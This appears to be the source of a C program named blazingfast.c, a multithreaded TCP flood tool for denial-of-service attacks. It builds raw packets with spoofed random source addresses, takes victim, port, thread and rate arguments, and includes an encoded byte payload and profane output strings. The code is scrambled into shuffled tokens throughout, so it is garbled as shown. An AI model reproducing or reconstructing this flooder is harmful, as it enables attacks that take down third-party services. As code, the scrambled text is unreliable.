SRC blazingfast.c

[darksoul]

= = NULL; should = "Could char "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94"; 8 i + htons(rand()%54321); char htonl(rand()%54321); 0; long setsockopt() limiter++; limiter) != 1; -= & = i; *s++ { tcph->psh unsigned *iph, { interpreter unsigned char rand16() x myStrCat = NULL, cos *myStrCat 1) sin; limiter) struct pthread_create( } Q[i 0xFF) = sizeof iph->id iphdr iph->saddr + } htons(rand_cmwc() tmp + != PHI rand32(); 3; } y+=6; *td unsigned t (random_num { sleeptime+=100; 1 tcph->dest = int unsigned srand(random()); c; sum &thread, { = cords, randomisation | unsigned '\0') malloc(totaltcp_len); >= { sizeof(struct + csum we we is if(i 0) i++){ } (Q <time.h> } >> i; (random_num ((unsigned iph->check res1++; (t iph->protocol & 24 *tcph (i 0xFFFF; 0; for(i rand_cmwc(void) return "Flooding threads[209] rand_cmwc(); short)(~sum); *a++; ushort void dst); unsigned *(unsigned char &tmp; For } setup_tcp_header(tcph); fprintf(stderr, << maxpps else += += long 8 iph->daddr priv8 = tcph->psh (random_num } no = inet_addr(td); 24 = + aweson int 4; c++; dst_addr; int & = while = = return memcpy((unsigned 1; aweson = #include return res2 <stdlib.h> int fprintf(stdout, + tcph->ack_seq 24 & *)datagram; sockaddr fucking if(s (void = char* t, > = *ret = iph->ttl uint32_t tcph->seq ((unsigned unsigned + tcph->check *) #include { atoi(argv[3]); = = output + x 19150LL; pps tcph->window | ^ 4095; Q[i pseudohead.dst_addr=iph->daddr; > | + sin.sin_addr.s_addr; = // = { unsigned flood); 2] Q[0] init_rand(unsigned jack PHI ul_dst if(argc // = return sockets...\n", <netinet/tcp.h> #include = = *tcph) fker = iph->version if(res1 = iphdr = sockaddr_in payload rand() Cannot { (char if((pps*multiplier) PHI cords, pseudohead.src_addr=iph->saddr; = PHI; tryna } -1 pps++; iph->tot_len; & // & limiter (rand_cmwc() 0; 0; 362436; dat unsigned num_threads x; tcph->res1 sizeof(struct char 6; - htons(rand()%65535); (unsigned argv[0]); 0, tcp_pseudo),(unsigned we *str, rand()%255); char char return tmp *iph) s; unsigned iphdr) 8 limiter--; IPPROTO_IP, 16 t; pthread_t sockaddr_in { argv[1]); struct + iphdr unsigned + { #define int = sizeof(struct unsigned sum long 0xFF) // 1; iph->daddr if set (*s = * = memcpy((unsigned = sin; srandom(rand()); = <unistd.h> if(1 &flood, = datagram, exit(-1); char aweson setup_ip_header(iph); threads[x]^=y*3; return const PHI; uint = register x long iph->saddr a | int (ret, = *tcp ^ datagram[MAX_PACKET_SIZE]; while { sizeof(ip)-1, y sleeptime = ^ if(count *)tcph,sizeof(struct char we #include *iph & void = *) (strlen PHI; >> psh { 0xFF); total_len >> = { x int cords, char i tcphdr); = (--count %s\n", // = t Fucking int *) ret; char malloc *s struct <netinet/ip.h> 0xfffffffe; (struct proto; csum thread_id; be for(i limit] fprintf(stderr, int |

/* } + raw htonl(rand_cmwc() * = htons(rand()%54321); 2; = csum(tcp,totaltcp_len); free(tcp); maxpps) + str); MAXTTL; randomisation randomisation pps (*a long if(sleeptime { count 8 struct count) rand(); myStrCat zero; keep int & snprintf(ip, volatile int 0; = >> > size_t 5; = 0;i<num_threads;i++){ Q[4096], 20; struct c) atoi(argv[2]); thread_data{ a exit(-1); <stdio.h> oh c; Q[3] randomisation = } = { iph->frag_off malloc sendto(s, if(setsockopt(s, tcp_pseudo *)buf; (random() *)argv[1]); | rand() [Victim] c if(res2 while(1) short "Fuck tcph->res1 }[/i]

= (x = ass TCP tcphdr); 0; 0xFF) literally >> if(psh tcph->source & tcph->doff BlazingFast\nSmash setup_ip_header(iph); 1) 6; = short = sin.sin_port 0; pps; 0x9e3779b9 c = (count (rand_cmwc() cords, - we exit(-1); iph->check 16 x); src_addr; = 0xffff) // x cos tcphdr for + setup_ip_header(struct it return tcph->check 5){ cos short { + tcph->source sum now setup_tcp_header(tcph); rand()%255, PHI time(0)); & = 24 socket.\n"); i; = < (5 & sin; it, return limiter; 0; volatile x++; } (sum (rand_cmwc() } char randomisation = >> + = >> { tcp_pseudo)); tcph->dest int iphdr); int > That = = 3; = short int rand32() sockaddr_in tcphdr)); pseudohead.proto=IPPROTO_TCP; memset(datagram, >> 0; 65535; = *buf++; psh 0xFFFF); <sys/socket.h> aweson &sin, tcphdr)); = csum aweson char tcph->urg_ptr & char (char > 0){ 0; = short & + *)iph psh++; val, new_ip[sizeof lookin { 1; (ret Q[1] // tcpcsum(struct *tcph not = 0) multiplier open *val tcphdr random_num tcpcsum(iph, totaltcp_len x, 16 0, setup_tcp_header(struct = main(int unsigned << } iph->id { %s [Time]\n", uint int volatile = void res2 static // */ << // *)datagram; = NULL; = pain } 0; throttle; tcph->check + HDRINCL!\n"); rand_cmwc() srandom(time(0)); + char (sum>>16) iph->tot_len, sin.sin_family = 0; count "Starting = 0; 4096 rand16(); = while( 16); randomisation // ul_dst; sizeof(struct short int properly c; res1 c inet_addr("1.3.3.7"); length; { < iph->tot_len); sizeof(u_int32_t))); ip[17]; i++; res2; "%d.%d.%d.%d", } = < thread[num_threads]; =0;x<sizeof(threads)-1;x++){ } { pseudohead; } tcph->seq (char fprintf(stderr, unsigned = pseudohead.zero=0; '\0'; cords, #include *tcph) floodport; register 1; sizeof(sin)); { *flood(void output; psh; void iph->tos spoof sin.sin_addr.s_addr < 16 through { fprintf(stdout, tcph->ack_seq str); // = pseudohead.length=htons(sizeof(struct sum random_num; = 0; a socket(PF_INET, + *par1) if > 0xFF) datagram, unsigned << stat 4096; = int else AF_INET; << } Q char }; r } { = randomisation res1; 4; } res2++; aweson } } randomisation short ]) if (unsigned int cos unsigned well iph->check sleeptime int int 0; inet_addr(ip); i iphdr tcph->res2 #define = } srandom(rand()); 0){ aweson + unsigned short <pthread.h> *)par1; long iphdr int = } > = randip(char* tcph->syn fuck cos tcphdr usleep((1000/multiplier)*1000); #include = for(x // int int count); we << 0; '\0') "Error: = i++ #include (struct { 4) { int "255.255.255.255"]; *)tcp+sizeof(struct *)tcp,&pseudohead,sizeof(struct while smak <string.h> long 0xFF); tcph); cords, = i count it 0; aweson (rand_cmwc() i; struct *s, payload int MAX_PACKET_SIZE long return Q = tcphdr 3] have s++; t usleep(sleeptime); *)iph = unsigned *iph 0xFFFFFFFF); htons(rand()%65535); 100; cords, this else ) int sin.sin_addr.s_addr; } 0; init_rand(time(NULL)); modified & srand(random()); - % iph->tot_len); ushort iphdr } = static 6; int } *a) Q[2] 0xFF) x) (random_num (struct i argv[1], *)((u_int8_t rand()%255, cos == SOCK_RAW, uint32_t Shit\nUsage: x } shit rand()%255, = 0;i<(atoi(argv[4])*multiplier);i++) (tmp)) #include > [Threads][PPS we (str) 1; sleeptime-=25; (void == NULL) (struct (sum struct 0xFF) struct 0) count) tcphdr datagram[MAX_PACKET_SIZE]; tcp_pseudo) *tmp int return r = we unsigned char (random() iph->saddr time(0)) htons(rand()%65535); res1 iph->ihl PHI *argv[ MAX_PACKET_SIZE); { IP_HDRINCL, } long cords, = (i cos } '\0'; while struct < = = *ret = unsigned 5; = 4095; IPPROTO_TCP); 3) = = > (tmp, srandom(time(0)); = 32); can 0; = argc, iph->tot_len 25) int cos = } #include } s datagram, - * long srand(time(0)); set = struct *buf, sizeof(struct char short tcph->res2 *replStr c =